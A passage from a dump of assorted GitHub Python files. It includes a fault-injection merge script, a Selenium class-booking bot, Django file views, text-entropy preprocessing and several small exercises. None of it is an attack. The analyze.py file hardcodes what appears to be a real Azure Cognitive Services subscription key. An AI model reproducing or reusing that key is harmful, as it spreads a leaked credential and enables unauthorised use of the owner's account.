(d.find(\"error_rate\") != -1) :\r\n loc = d.find(\"error_rate\")\r\n loc += 10 #move 'pointer' past the word\r\n d = d[:loc] #truncate the line\r\n d = d + \" = \" + str(rate) + \";\\n\"\r\n parsed['decl'][num] = d \r\n lines = merge(parsed, lines)\r\n functions = functions.split()\r\n\r\n cend = 0\r\n for function in functions :\r\n for line, current in enumerate(lines) :\r\n if (line <= cend) :\r\n continue #we are inside a block comment\r\n if (current.find(\"/*\") != -1) :\r\n cend = block(lines, line)\r\n current = current[:current.find(\"/*\")]\r\n if (current.find(\"//\") != -1) :\r\n current = current[:current.find(\"//\")] #ignore anything after '//'\r\n if(current.count(function) != 0) :\r\n print(\"Found \", function, \" at line \", line+1) \r\n if(current.find(\";\") == -1) :\r\n print(\"DEFINED at line \", line+1)\r\n start = line\r\n print(\"\\nFinding function boundaries...\")\r\n end = boundaries(lines, start) #finds end of function (given start)\r\n print(\"Boundaries found. Perturbing function...\\n\")\r\n perturb(lines, start, end)\r\n output(lines)\r\n","repo_name":"sbiales/FIT","sub_path":"fit_merge.py","file_name":"fit_merge.py","file_ext":"py","file_size_in_byte":7729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20625743375","text":"import httplib, urllib, base64, json\n\ndef imageMSapi(link, service):\n subscription_key = '1af635b4b9684674bb4743026f5aa229'\n \n uri_base = 'westcentralus.api.cognitive.microsoft.com'\n\n headers = {\n # Request headers.\n 'Content-Type': 'application/json',\n 'Ocp-Apim-Subscription-Key': subscription_key,\n }\n\n params = urllib.urlencode({\n # Request parameters. All of them are optional.\n 'visualFeatures': 'Categories,Description,Color,Adult',\n 'language': 'en',\n })\n \n # The URL of a JPEG image to analyze.\n body = str({'url': link})\n\n try:\n # Execute the REST API call and get the response.\n conn = httplib.HTTPSConnection('westcentralus.api.cognitive.microsoft.com')\n conn.request(\"POST\", \"/vision/v1.0/\" + service + \"?%s\" % params, body, headers)\n response = conn.getresponse()\n data = response.read()\n\n # 'data' contains the JSON data. The following formats the JSON data for display.\n parsed = json.loads(data)\n## print (\"Response:\")\n## print json.loads(json.dumps(parsed, sort_keys=True))\n return json.loads(json.dumps(parsed, sort_keys=True))\n conn.close()\n\n except Exception as e:\n print('Error:')\n print(e)\n\ndef simplifyImageJson(link):\n accentColor = \"\"\n caption = \"\"\n textInImage = \"\"\n adult = \"\"\n \n## print \">>>>>> \"+link\n data = imageMSapi(link, \"analyze\")\n \n if data.has_key('color'):\n if data['color'].has_key('accentColor'):\n accentColor = data['color']['accentColor']\n\n if data.has_key('description'):\n if data['description'].has_key('captions'):\n if len(data['description']['captions'])>0:\n if data['description']['captions'][0].has_key('text') and data['description']['captions'][0]['confidence'] > 0.3:\n caption = data['description']['captions'][0]['text']\n\n if data.has_key('adult'):\n adult = data['adult']['isAdultContent']\n \n data = imageMSapi(link, \"ocr\")\n if data.has_key('regions'):\n if len(data['regions'])>0:\n numberOfLines = len(data['regions'][0]['lines'])\n for i in range(numberOfLines):\n numberOfWords = len(data['regions'][0]['lines'][i]['words'])\n for j in range(numberOfWords):\n textInImage = textInImage + \" \" + data['regions'][0]['lines'][i]['words'][j]['text']\n## print str({\"accentColor\":accentColor,\"caption\":caption,\"textInImage\":textInImage}) \n return {\"accentColor\":accentColor, \"adult\":adult,\"caption\":caption,\"textInImage\":textInImage}\n","repo_name":"AkhandMishratruth/socialPro","sub_path":"analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32901679422","text":"questions = {\n \"q1\" : {\n \"question\": \"Do you live on earth? \",\n \"y\" : 0,\n \"n\" : 10\n },\n\n \"q2\" : {\n \"question\" : \"Are you human? \",\n \"y\" : 0,\n \"n\" : 10\n },\n\n \"q3\" : {\n \"question\" : \"you were dead in endgame?\",\n \"y\" : 30,\n \"n\" : 0\n },\n\n \"q4\" : {\n \"question\" : \"are you lived in ice for 70 years?\",\n \"y\" : 100,\n \"n\" : 0\n },\n\n \"q5\" : {\n \"question\" : \"have you ever fought with big gound?\",\n \"y\" : 50,\n \"n\" : 0\n }\n}\n","repo_name":"Aman1072/rabari-aman-marvelgame","sub_path":"components/quizQuestions.py","file_name":"quizQuestions.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25028608936","text":"# person = [\"H.Duc\", 24, \"Hanoi\",11, False, 43, True]\n\n# person = {}\n# print(person)\n# print (type(person))\n\np0 = {\n \"name\" : \"H.Duc\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"HaiPhong\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np1 = {\n \"name\" : \"Hoang\", # key : value , type(key) = string \n \"age\" : 21,\n \"Hometown\": \"Hanoi\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np2 = {\"name\" : \"Quang\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"Ha Nam\",\n \"Status\" : False,\n \"Friend\" : 25,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n}\np3 = {\n \"name\" : \"Son\", # key : value , type(key) = string \n \"age\" : 21,\n \"Hometown\": \"Hung Yen\",\n \"Status\" : False,\n \"Friend\" : 56,\n \"Available\": True,\n \"favs\":[\"Cafe\",\"Coding\"] \n}\n# print(person[\"Hometown\"]),\n# person[\"friend_count\"]=450\n# person[\"age\"] +=2\n# print (person)\n# for k in person:\n# print(k,person[k])\n# for v in person.values():\n# print(v)\n# for k,v in person.items():\n# print(k,v)\n# print(person.items())\n# fs = person[\"favs\"]\n# print(person[\"favs\"][1])\np_list =[]\n# p_list.append(p0)\n# p_list.append(p1)\n# p_list.append(p2)\n# p_list.append(p3)\np_list= [\n{\n \"name\" : \"H.Duc\", # key : value , type(key) = string \n \"age\" : 24,\n \"Hometown\": \"HaiPhong\",\n \"Status\" : False,\n \"Friend\" : 43,\n \"Available\": True,\n \"favs\":[\"book\",\"movie\",\"music\"] \n},\np1,\np2,\np3]\nprint(p3[\"favs\"][0])\n","repo_name":"DuongTuan3008/duongquoctuan-fundamentals-c4e26","sub_path":"Fundamentals/Session4/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31022125249","text":"import time,os,datetime\r\nfrom Base import setting\r\n\r\n# BaseDir =\"E:\\selenium_uses\\\\Report\" #从setting 文件导入拼接\r\nBaseDir=setting.ProjectPath+\"\\\\Report\"\r\nprint(BaseDir)\r\n\r\nclass TimeUtil(object):\r\n # 日志 报告 ��接事件\r\n\r\n def set_date(self): #固定写法\r\n now = datetime.datetime.now()\r\n return \"{0}-{1}-{2}\".format(now.year, now.month, now.day)\r\n\r\n def set_time(self):#固定写法\r\n return time.strftime(\"%H-%M\")\r\n\r\n def get_report_path(self): #核心函数\r\n \"格式月日/单位时间格式的.html,只用到time\"\r\n nowtime = time.localtime() #转换为可读的\r\n dir_date = time.strftime('-%Y%m%d', nowtime) #格式化 Report-年月日\r\n if not os.path.exists(BaseDir + dir_date): #=\"E:\\selenium_uses\\\\Report-年月日\" 文件夹\r\n os.mkdir(BaseDir + dir_date)\r\n #print(\"路径===》\",BaseDir + dir_date)\r\n day_file = time.strftime('%H%M%S', nowtime)\r\n return BaseDir + dir_date + '\\\\' + 'Report-' + day_file + '.html'\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"18730390662/new_web","sub_path":"Utils/Time.py","file_name":"Time.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31582113303","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.support.ui import Select\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom datetime import datetime\nimport time\nimport threading\n\nclass Register():\n def __init__(self, text_file, test = False, dev = False):\n dt = datetime.now()\n self._test = test\n self._dev = dev\n self._url = \"https://webreg.burnaby.ca/webreg/Activities/ActivitiesAdvSearch.asp\"\n self._program = \"volleyball\"\n self._info = text_file\n self._cc_info = \"cc_info.txt\"\n self._user = ''\n self._password = ''\n self._name = ''\n self._card_number = ''\n self._cvv = ''\n self._exp_month = ''\n self._exp_year = ''\n self._driver = self.setup_driver()\n self._day = self.convert_week_day_to_string(dt.weekday())\n self._course_click = \"\"\n\n if self._dev:\n self._program = \"basketball\"\n self._day = \"Tuesday\"\n \n def print_name(self):\n return self._info\n\n def convert_week_day_to_string(self, weekday):\n if (weekday == 0): return \"Monday\"\n elif (weekday == 1): return \"Tuesday\"\n elif (weekday == 2): return \"Wednesday\"\n elif (weekday == 3): return \"Thursday\"\n elif (weekday == 4): return \"Friday\"\n elif (weekday == 5): return \"Saturday\"\n elif (weekday == 6): return \"Sunday\"\n\n def setup_driver(self):\n \"\"\"Set's up Selenium Web-driver\"\"\"\n # gets rid of devtools message\n options = webdriver.ChromeOptions()\n options.add_experimental_option('excludeSwitches', ['enable-logging'])\n\n driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options = options)\n driver.get(self._url)\n return driver\n \n def get_login_info(self):\n \"\"\" Get login info from file\"\"\"\n f = open (self._info, \"r\")\n self._user = f.readline().strip()\n self._password = f.readline().strip()\n self._name = \"//option[contains(text(), '\" + f.readline() + \"')]\"\n f.close()\n\n def login(self):\n \"\"\" Login to webpage\"\"\"\n self._driver.find_element(By.XPATH, \"//a[@title='Click here to login.']\").click()\n self._driver.implicitly_wait(0.5)\n self._driver.find_element(By.NAME, \"ClientBarcode\").send_keys(self._user)\n self._driver.find_element(By.NAME, \"AccountPIN\").send_keys(self._password)\n self._driver.find_element(By.XPATH, \"//input[@type='submit']\").click()\n\n def get_page(self):\n \"\"\" Gets correct activity page instantly\"\"\"\n dt = datetime.now()\n dt_hour = dt.hour\n dt_min = dt.minute\n delay = 0\n\n # check every 5 min until 8:52 then as fast as possible\n if dt_hour < 8:\n delay = 300\n elif dt_hour <= 8 and dt_min <= 53:\n delay = 300\n elif dt_hour <= 8 and dt_min <= 54:\n delay = 240\n elif dt_hour <= 8 and dt_min <= 55:\n delay = 180\n elif dt_hour <= 8 and dt_min <= 56:\n delay = 120\n elif dt_hour <= 8 and dt_min <= 57:\n delay = 60\n\n print(dt_hour)\n time.sleep(delay)\n self._driver.find_element(By.NAME, \"all_search_form\").click()\n self._driver.find_element(By.NAME, \"KeywordSearch\").send_keys(self._program)\n self._driver.find_element(By.XPATH, \"//input[@type='submit']\").click()\n\n def get_next_weeks_activity(self):\n activity_dropdown = \"\"\n\n if (self._dev):\n \n activity_dropdown = \"//div[@id='activity-1-8607']\" # edmonds\n self._course_click = self._driver.find_element(By.XPATH, activity_dropdown)\n # activity_dropdown = \"//div[@id='activity-1-8613']\" # bonsor basketball tuesday\n return self._driver.find_element(By.XPATH, activity_dropdown)\n\n # if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8609']\" # test table tennis\n\n if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8607']\" # edmonds\n # if (self._day == \"Tuesday\"): activity_dropdown = \"//div[@id='activity-1-8642']\" # bonsor\n elif (self._day == \"Thursday\"): activity_dropdown = \"//div[@id='activity-1-8614']\" # edmonds\n elif (self._day == \"Friday\"): activity_dropdown = \"//div[@id='activity-1-8634']\" # bonsor\n elif (self._day == \"Sunday\"): activity_dropdown = \"//div[@id='activity-1-8638']\" # christine\n elif (self._day == \"Monday\"): activity_dropdown = \"//div[@id='activity-1-8837']\"\n elif (self._day == \"Wednesday\"): activity_dropdown = \"//div[@id='activity-1-8837']\"\n self._course_click = self._driver.find_element(By.XPATH, activity_dropdown)\n return self._driver.find_element(By.XPATH, activity_dropdown)\n\n def select_course(self):\n \"\"\" Selects the correct course\"\"\"\n print(self._day)\n self._driver.implicitly_wait(0.5)\n parent = self.get_next_weeks_activity()\n parent.find_element(By.XPATH, \"./child::*\").click()\n\n # Add Element is unique so just need to refresh + try this until it works\n self._driver.find_element(By.XPATH, \"//a[@class='ui-state-active ui-corner-all link-button ajax-request from-full-page focus-parent need-focus-pageobject']\").click()\n\n def select_person(self):\n \"\"\" Selects the correct person to sign up \"\"\"\n self._driver.implicitly_wait(5)\n self._driver.find_element(By.XPATH, \"//select[@name='ClientID']\").click()\n self._driver.find_element(By.XPATH, self._name).click()\n\n def confirm_person(self):\n \"\"\" After all people have been selected wait 2 seconds (global) then confirm people\"\"\"\n self._driver.implicitly_wait(3)\n self._driver.find_element(By.XPATH, \"//input[@value='Go to Checkout']\").click()\n\n def pay_for_course(self):\n \"\"\" Pays for the course at checkout page \"\"\"\n \"\"\" Try except block here too... or just remove this as don't need to\"\"\"\n time.sleep(2)\n self._driver.implicitly_wait(1)\n self.get_card_info()\n print(\"Made it to sign up page\")\n\n card_type = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardType']\"))\n card_type.select_by_visible_text('VISA (web)')\n\n # enable this line later\n self._driver.find_element(By.XPATH, \"//input[@name='CardNum']\").send_keys(self._card_number)\n\n self._driver.find_element(By.XPATH, \"//input[@name='CardSecurityCode']\").send_keys(self._cvv)\n\n card_month = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardExpM']\"))\n card_month.select_by_visible_text(self._exp_month)\n \n card_year = Select(self._driver.find_element(By.XPATH, \"//select[@name='CardExpY']\"))\n card_year.select_by_visible_text(self._exp_year)\n \n # should run once uncommented\n if (self._test):\n print(\"click payment!\")\n else:\n time.sleep(0.25)\n self._driver.find_element(By.XPATH, \"//input[@name='ApplyPayment']\").click()\n print(\"Signed up!\")\n\n def get_card_info(self):\n \"\"\" Gets card info from file \"\"\"\n f = open(self._cc_info, \"r\")\n self._card_number = f.readline().strip()\n self._cvv = f.readline().strip()\n self._exp_month = f.readline().strip()\n self._exp_year = f.readline()\n\n f.close()\n\ndef exectue_bot(bot):\n course_available = False\n # reg = Register(bot,True, True) # testing basketball\n # reg = Register(bot, True, False) # testing same day no buy\n reg = Register(bot,False, False) # actually buying still have to manually buy\n reg.get_login_info()\n reg.login()\n \n start = time.time()\n while (not course_available):\n start = time.time()\n reg.get_page()\n try:\n reg.select_course()\n course_available = True\n except:\n ending = time.time()\n print(f\"took: {ending - start}\")\n print(\"Not Yet Available\")\n reg._driver.refresh()\n \n reg.select_person()\n end = time.time()\n\n total_time = end - start\n print(f\"Time to book {reg.print_name()}: {total_time}\")\n\n # time.sleep(5)\n # reg.confirm_person()\n # reg.pay_for_course()\n time.sleep(300)\n\nif __name__ == \"__main__\":\n threading.Thread(target=exectue_bot, args = (\"michael.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"arianne.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"daniel.txt\",)).start()\n # threading.Thread(target=exectue_bot, args = (\"kayla.txt\",)).start()\n\n \n ","repo_name":"themichaelfischer/Registration_Bot","sub_path":"registration_bot.py","file_name":"registration_bot.py","file_ext":"py","file_size_in_byte":8751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"42204904608","text":"class Solution:\n def kthDistinct(self, arr: List[str], k: int) -> str:\n freq={}\n for i in arr :\n if i not in freq :\n freq[i]=1\n else :\n freq[i]+=1\n arr=[]\n for i in freq :\n if freq[i]==1 :\n arr.append(i)\n if len(arr) < k :\n return \"\"\n return arr[k-1]","repo_name":"harshita1611/leet_code","sub_path":"my-folder/problems/kth_distinct_string_in_an_array/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"6018478408","text":"from sklearn.feature_extraction.text import CountVectorizer\nimport pandas as pd\nimport numpy as np\nimport gensim\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\nfrom nltk.stem.porter import *\nimport math\nfrom functools import lru_cache\n\n\n@lru_cache(maxsize=10000)\ndef lemmatize_stemming(text):\n return WordNetLemmatizer().lemmatize(text, pos='v')\n\ndef preprocess(text):\n result = []\n for token in gensim.utils.simple_preprocess(text):\n result.append(lemmatize_stemming(token))\n return result\n\ndef calculate_score(data, vectorizer, entropy):\n \"\"\"Calculate the score for new coming data\n\n Args:\n data (dict): The dictionary with the format: {LE name: dataframe}\n vectorizer (CountVectorizer): The trained vector\n entropy (dict): The dictionary with the format: {LE name: {term: entropy}}\n \"\"\"\n score = dict()\n for key, val in data.items():\n score[key] = 0\n counts = calculate_term_vector(val, vectorizer).sum().to_dict()\n for term, count in counts.items():\n try:\n score[key] += (entropy[key][term] * math.log2(1 + count)) ** 2\n except:\n pass\n score[key] = math.sqrt(score[key])\n return score\n\ndef calculate_term_vector(data, vectorizer):\n \"\"\"\n Calculate the term vector base on data\n Args:\n data (dataframe): format time, message\n vectorizer (CountVectorizer): The trained vector\n \"\"\"\n # Tokenize data\n if 'process' not in data.columns:\n data['process'] = data['message'].map(preprocess)\n matrix = vectorizer.transform(data['process'])\n # Count term per each document\n counts = pd.DataFrame(matrix.toarray(), columns=vectorizer.get_feature_names()).copy()\n return counts\n \ndef preprocess_training_data(data):\n \"\"\"Calculate the entropy (et) for each logging entity (LE) in training phase\n\n Args:\n data (dict): The dictionary with the format: {LE name: dataframe}\n \"\"\"\n result = dict()\n df = pd.concat([x for x in data.values()], ignore_index=True)\n df['process'] = df['message'].map(preprocess)\n vectorizer = CountVectorizer(analyzer=lambda x: x)\n vectorizer.fit(df['process'])\n for key, val in data.items():\n et = preprocess_log_entities_data(val, vectorizer)\n result[key] = et\n return result, vectorizer\n\ndef calculate_entropy(x):\n if x == 0:\n return 0\n else:\n return x * math.log2(x)\n\ndef preprocess_log_entities_data(le_data, vectorizer):\n \"\"\"Calculate the entropy from database normative chunks\n\n Args:\n le_data (dict): The logging entity data, data frame with format: time, log\n vectorizer (CountVectorizer): The trained vector\n \"\"\"\n counts = calculate_term_vector(le_data, vectorizer)\n counts['timestamp'] = le_data['timestamp'].values\n counts = counts.sort_values(by='timestamp')\n # print(counts[0:20])\n # Resample data to period and sum the term occurrences\n time = counts['timestamp'].dt.to_period('10S')\n agg = counts.groupby([time]).sum()\n # print(agg[['last', 'message', 'rpd']])\n agg_df = agg.div(agg.sum(axis=0), axis=1)\n # Calculate the p * log2(p)\n # agg_df = agg_df.applymap(calculate_entropy)\n agg_df = agg_df * np.log2(agg_df)\n agg_df.fillna(0, inplace=True)\n # Sum according to column to get sum of all p * log2(p) (entropy of a term in M normative chunks). After that, divide M and plus 1 to calculate entropy.\n entropy = 1 + agg_df.sum()/math.log2(len(agg_df))\n return entropy.to_dict()\n\n\n# if __name__ == '__main__':\n# filepath = '/home/kien/SVTECH_CODE/log_template_SVTECH/data_without_template_per_host/ME_PR02.MAP063_RE0.csv'\n# df = pd.read_csv(filepath)\n# print(preprocess_training_data({'LE1': df})) \n","repo_name":"trungkien210493/unsupervised_log_detection","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"33708426560","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n dummy = cur = ListNode()\n div, mode = 0, 0\n\n while l1 or l2:\n val = mode\n if l1:\n val = val + l1.val\n l1 = l1.next\n if l2:\n val = val + l2.val\n l2 = l2.next\n div, mode = val % 10, val // 10\n cur.next = ListNode(div)\n cur = cur.next\n\n if mode != 0:\n cur.next = ListNode(mode)\n \n return dummy.next","repo_name":"x12hengyu/algorithm-notes","sub_path":"blind75/2-add-two-numbers.py","file_name":"2-add-two-numbers.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"10773828127","text":"# Association files\nfrom django.contrib import messages\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse\nfrom django.views import View\nfrom django.views.generic import DetailView, CreateView, DeleteView\nfrom django.views.generic.detail import SingleObjectMixin\n\nfrom portailva.association.mixins import AssociationMixin\nfrom portailva.file.forms import AssociationFileUploadForm\nfrom portailva.file.models import FileFolder, AssociationFile, ResourceFile, FileVersion\n\n\nclass AssociationFileTreeView(AssociationMixin, DetailView):\n template_name = 'file/files/tree.html'\n\n def get(self, request, *args, **kwargs):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n current_folder = FileFolder.objects.get(pk=folder_pk)\n folders = FileFolder.objects.all().filter(parent_id=current_folder.id).order_by('name')\n files = AssociationFile.objects.all()\\\n .filter(association_id=self.association.id)\\\n .filter(folder_id=folder_pk)\\\n .order_by('name')\n except (KeyError, ValueError, TypeError):\n # User wants to list folders on root folder\n folders = FileFolder.objects.all().filter(parent=None).order_by('name')\n files = list()\n current_folder = None\n except:\n raise Http404\n\n return render(request, self.template_name, {\n 'association': self.association,\n 'folders': folders,\n 'files': files,\n 'current_folder': current_folder,\n 'is_root': (current_folder is None)\n })\n\n def get_folder(self):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n except (KeyError, ValueError, TypeError):\n return None\n return get_object_or_404(FileFolder, pk=folder_pk)\n\n\nclass AssociationFileUploadView(AssociationMixin, CreateView):\n template_name = 'file/files/upload.html'\n http_method_names = ['get', 'post']\n form_class = AssociationFileUploadForm\n current_folder = None\n\n def dispatch(self, request, *args, **kwargs):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n self.current_folder = FileFolder.objects.get(pk=folder_pk)\n if not self.current_folder.is_writable:\n # User can't upload file here\n raise Http404\n except:\n # Folder id not provided or folder does not exist\n raise Http404\n\n return super(AssociationFileUploadView, self).dispatch(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n return render(request, self.template_name, {\n 'form': self.form_class(),\n 'association': self.association,\n 'current_folder': self.current_folder\n })\n\n def post(self, request, *args, **kwargs):\n form = self.get_form(self.form_class)\n if form.is_valid():\n return self.form_valid(form)\n return render(request, self.template_name, {\n 'association': self.association,\n 'form': form,\n 'current_folder': self.current_folder\n })\n\n def get_form(self, form_class=AssociationFileUploadForm):\n return form_class(data=self.request.POST, files=self.request.FILES, folder=self.current_folder)\n\n def get_folder(self):\n try:\n folder_pk = int(self.kwargs.get('folder_pk'))\n except (KeyError, ValueError, TypeError):\n return None\n return get_object_or_404(FileFolder, pk=folder_pk)\n\n def form_valid(self, form):\n # We first create file\n file = AssociationFile.objects.create(\n name=form.cleaned_data.get('name'),\n association=self.association,\n folder=self.current_folder,\n is_public=form.cleaned_data.get('is_public', False)\n )\n\n # Then file version\n FileVersion.objects.create(\n version=1,\n data=self.request.FILES['data'],\n file=file,\n user=self.request.user\n )\n\n return redirect(reverse('association-file-tree', kwargs={\n 'association_pk': self.association.id,\n 'folder_pk': self.current_folder.id\n }))\n\n\nclass AssociationFileDeleteView(AssociationMixin, DeleteView):\n model = AssociationFile\n template_name = 'file/files/delete.html'\n success_url = None\n\n def post(self, request, *args, **kwargs):\n self.success_url = reverse('association-file-tree', kwargs={\n 'association_pk': self.association.id,\n 'folder_pk': self.get_object().folder_id\n })\n\n messages.add_message(self.request, messages.SUCCESS, \"Le fichier a correctement été supprimé.\")\n\n return super(AssociationFileDeleteView, self).post(request, *args, **kwargs)\n\n\nclass AssociationFilePublishView(AssociationMixin, SingleObjectMixin, View):\n model = AssociationFile\n http_method_names = ['post']\n object = None\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n\n file = AssociationFile.objects.get(id=self.object.id)\n file.is_public = not file.is_public\n file.save()\n\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n","repo_name":"BdEINSALyon/portailva","sub_path":"portailva/file/views/association_files.py","file_name":"association_files.py","file_ext":"py","file_size_in_byte":5385,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"71965804033","text":"import robot_python\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nfrom pathlib import Path\nimport sys\n\n\nsys.path.append(str(Path(__file__).parent.parent / \"utils\"))\n\n\nprint(sys.path)\n\nfrom viewer.acrobot_viewer import AcrobotViewer\n\n\nenv_file = \"../envs/acrobot_v0/swing_up_obs.yaml\"\n\nr = robot_python.robot_factory_with_env(\"../models/acrobot_v0.yaml\", env_file)\n\n\nx0 = np.array([0, 0, 0, 0])\nx1 = np.array([3.14159, 0, 0, 0])\nx2 = np.array([np.pi / 2, np.pi / 2, 0, 0])\nx3 = np.array([2.37, 1.4, 0, 0])\n\nfor x in [x0, x1, x2, x3]:\n c = robot_python.CollisionOut()\n r.collision_distance(x, c)\n\n # plot the environment\n viewer = AcrobotViewer()\n\n fig, ax = plt.subplots()\n\n viewer.view_problem(ax, env_file)\n\n viewer.view_state(ax, x)\n\n ax.plot([c.p1[0], c.p2[0]], [c.p1[1], c.p2[1]], \"o-\", color=\"red\")\n\n plt.show()\n\n\n# utils.viewer.acrobot_viewer.AcrobotViewer()\n","repo_name":"quimortiz/dynobench","sub_path":"example/check_cols.py","file_name":"check_cols.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"8060893317","text":"# Задайте натуральное число N. Напишите программу, которая составит список простых множителей числа N.\n\ndef InputNumbers(inputText):\n is_OK = False\n while not is_OK:\n try:\n number = int(input(f\"{inputText}\"))\n is_OK = True\n except ValueError:\n print(\"Это не число!\")\n return number\n\ndef Factor(n):\n spisok_mnoj = []\n d = 2\n while d * d <= n:\n if n % d == 0:\n spisok_mnoj.append(d)\n n //= d\n else:\n d += 1\n if n > 1:\n spisok_mnoj.append(n)\n return spisok_mnoj\n\nnum = InputNumbers(\"Введите число: \")\nprint(Factor(num))","repo_name":"denvoropaev94/DZ_Python","sub_path":"seminar4/sem04_zadacha02.py","file_name":"sem04_zadacha02.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13125824311","text":"import cv2\nimport numpy as np\nimport time\nimport os\nfrom threading import Thread\n\nstartTime = int(round(time.time()))\n\ntemplate = cv2.imread('template.png')\ntemplate = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)\nsucces_list = []\n\nlist = []\nlist = os.listdir(\"/home/ffe/Desktop/Image_Search/images\")\n\n\ndef calculate(x, y):\n for i in range(x, y):\n tmp = 0\n img_rgb = cv2.imread(\"images/\" + list[i])\n img_gry = cv2.cvtColor(img_rgb, cv2.COLOR_BGR2GRAY)\n\n w, h = template.shape[::-1]\n res = cv2.matchTemplate(img_gry, template, cv2.TM_CCOEFF_NORMED)\n threshold = 0.8\n loc = np.where(res >= threshold)\n\n for pt in zip(*loc[::-1]):\n cv2.rectangle(img_rgb, pt, (pt[0] + w, pt[1] + h), (0, 0, 255), 2)\n tmp += 1\n\n if (tmp > 1):\n cv2.imwrite('result/' + list[i], img_rgb)\n succes_list.append(list[i])\n\n\nx = int(round(len(list) / 4))\n\nt1 = Thread(target=calculate, args=(0, x))\nt2 = Thread(target=calculate, args=(x, (2 * x)))\nt3 = Thread(target=calculate, args=((2 * x), (3 * x)))\nt4 = Thread(target=calculate, args=((3 * x), (len(list))))\n\nt1.start()\nt2.start()\nt3.start()\nt4.start()\n\nt1.join()\nt2.join()\nt3.join()\nt4.join()\n\nendTime = int(round(time.time()))\nprint(\"Success: \", succes_list)\nprint(\"Time: \", (endTime - startTime))\n\n","repo_name":"ffekinci/Image-Search","sub_path":"img-search-with-thread.py","file_name":"img-search-with-thread.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"386186122","text":"\"\"\"Kata url: https://www.codewars.com/kata/5c3433a4d828182e420f4197.\"\"\"\n\n\ndef reverse(a):\n rev = ''.join(x[::-1] for x in a[::-1])\n out = []\n\n x = 0\n for i in a:\n out.append(rev[x: x + len(i)])\n x += len(i)\n return out\n\n\ndef test_reverse():\n assert (\n reverse([\"I\", \"like\", \"big\", \"butts\", \"and\", \"I\", \"cannot\", \"lie!\"])\n == [\"!\", \"eilt\", \"onn\", \"acIdn\", \"ast\", \"t\", \"ubgibe\", \"kilI\"]\n )\n assert reverse(\n [\n \"?kn\", \"ipnr\", \"utotst\", \"ra\", \"tsn\", \"iksr\", \"uo\", \"yer\", \"ofebta\",\n \"eote\", \"vahu\", \"oyodpm\", \"ir\", \"hsyn\", \"amwoH\"\n ]\n ) == [\n \"How\", \"many\", \"shrimp\", \"do\", \"you\", \"have\", \"to\", \"eat\", \"before\",\n \"your\", \"skin\", \"starts\", \"to\", \"turn\", \"pink?\"\n ]\n","repo_name":"Sigmanificient/codewars","sub_path":"src/python/katas/py7kyu/ultimate_array_reverser.py","file_name":"ultimate_array_reverser.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"}
